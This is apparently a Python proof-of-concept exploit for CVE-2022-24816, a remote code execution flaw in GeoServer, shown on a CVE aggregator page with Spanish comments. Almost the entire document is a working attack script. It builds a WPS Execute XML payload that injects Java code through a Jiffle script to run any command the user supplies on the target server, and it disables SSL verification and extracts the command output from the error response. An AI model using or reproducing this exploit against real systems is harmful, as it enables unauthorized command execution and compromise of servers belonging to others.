4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-24816.py PY
import re
import requests
import argparse
import urllib3
from colorama import init, Fore, Style

# Colores usando colorama
init(autoreset=True)
VERDE = Fore.GREEN
CIAN = Fore.CYAN
AZUL = Fore.BLUE
ROJO = Fore.RED
RESET = Style.RESET_ALL

# Deshabilitar advertencias de seguridad por desactivación de la verificación SSL
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Mostrar el banner
def mostrar_banner():
    print(f"{VERDE}#########################################################{RESET}")
    print(f"{CIAN}#                                                       #{RESET}")
    print(f"{VERDE}#            ████▓▒░  CVE-2022-24816  ░▒▓████           #{RESET}")
    print(f"{CIAN}#                                                       #{RESET}")
    print(f"{VERDE}#########################################################{RESET}")
    print(f"{AZUL}#              ▓▒░ Creado por: C1ph3rByt3               #{RESET}")
    print(f"{VERDE}#########################################################{RESET}")
    print()

def extraer_salida_comando(respuesta_xml):
    """
    Extrae y limpia la salida del comando ejecutado de la respuesta XML.

    :param respuesta_xml: La respuesta XML del servidor.
    :return: La salida del comando limpia o None si no se encuentra.
    """
    # Usar una expresión regular para encontrar el contenido dentro de <ows:ExceptionText>
    coincidencia = re.search(r"<ows:ExceptionText>.*?ExceptionInInitializerError - (.*?)</ows:ExceptionText>", respuesta_xml, re.DOTALL)
    if coincidencia:
        # Extraer la salida del comando
        salida_comando = coincidencia.group(1).strip()
        return salida_comando
    return None

def explotar_geoserver(url, comando):
    """
    Explota la vulnerabilidad RCE de GeoServer (CVE-2022-24816) enviando una solicitud maliciosa de WPS Execute.

    :param url: La URL objetivo de GeoServer (por ejemplo, "http://ejemplo.com" o "https://ejemplo.com").
    :param comando: El comando que se ejecutará en el sistema objetivo.
    :return: None
    """
    url_objetivo = f"{url.rstrip('/')}/geoserver/wms"

    # Payload malicioso
    payload = (
        "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
        "<wps:Execute version=\"1.0.0\" service=\"WPS\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
        "xmlns=\"http://www.opengis.net/wps/1.0.0\" xmlns:wfs=\"http://www.opengis.net/wfs\" "
        "xmlns:wps=\"http://www.opengis.net/wps/1.0.0\" xmlns:ows=\"http://www.opengis.net/ows/1.1\" "
        "xmlns:gml=\"http://www.opengis.net/gml\" xmlns:ogc=\"http://www.opengis.net/ogc\" "
        "xmlns:wcs=\"http://www.opengis.net/wcs/1.1.1\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" "
        "xsi:schemaLocation=\"http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd\">"
        "<ows:Identifier>ras:Jiffle</ows:Identifier>"
        "<wps:DataInputs>"
        "<wps:Input>"
        "<ows:Identifier>coverage</ows:Identifier>"
        "<wps:Data>"
        "<wps:ComplexData mimeType=\"application/arcgrid\"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>"
        "</wps:Data>"
        "</wps:Input>"
        "<wps:Input>"
        "<ows:Identifier>script</ows:Identifier>"
        "<wps:Data>"
        f"<wps:LiteralData>dest = y() - (500); // */ public class Double {{ public static double NaN = 0; static {{ try {{ java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"{comando}\").getInputStream())); String line = null; String allLines = \" - \"; while ((line = reader.readLine()) != null) {{ allLines += line; }} throw new RuntimeException(allLines);}} catch (java.io.IOException e) {{}} }} }} /**</wps:LiteralData>"
        "</wps:Data>"
        "</wps:Input>"
        "<wps:Input>"
        "<ows:Identifier>outputType</ows:Identifier>"
        "<wps:Data>"
        "<wps:LiteralData>DOUBLE</wps:LiteralData>"
        "</wps:Data>"
        "</wps:Input>"
        "</wps:DataInputs>"
        "<wps:ResponseForm>"
        "<wps:RawDataOutput mimeType=\"image/tiff\">"
        "<ows:Identifier>result</ows:Identifier>"
        "</wps:RawDataOutput>"
        "</wps:ResponseForm>"
        "</wps:Execute>"
    )

    headers = {
        "Host": url.split('://')[1].split('/')[0],
        "Content-Type": "application/xml",
    }

    try:
        response = requests.post(url_objetivo, headers=headers, data=payload, timeout=10, verify=False)
        if response.status_code == 200:
            salida_comando = extraer_salida_comando(response.text)
            if salida_comando:
                print(f"{VERDE}[+] Comando ejecutado con éxito:{RESET}")
                print(f"{CIAN}{salida_comando}{RESET}")
            else:
                print(f"{ROJO}[-] No se encontró la salida del comando en la respuesta.{RESET}")
        else:
            print(f"{ROJO}[-] Código de estado inesperado recibido: {response.status_code}{RESET}")
    except requests.exceptions.RequestException as e:
        print(f"{ROJO}[!] Error: {e}{RESET}")

if __name__ == "__main__":
    mostrar_banner()
    parser = argparse.ArgumentParser(description="Explotar vulnerabilidad RCE en GeoServer (CVE-2022-24816)")
    parser.add_argument("-u", "--url", required=True, help="URL objetivo de GeoServer (por ejemplo, http://ejemplo.com o https://ejemplo.com)")
    parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema objetivo")
    args = parser.parse_args()

    explotar_geoserver(args.url, args.command)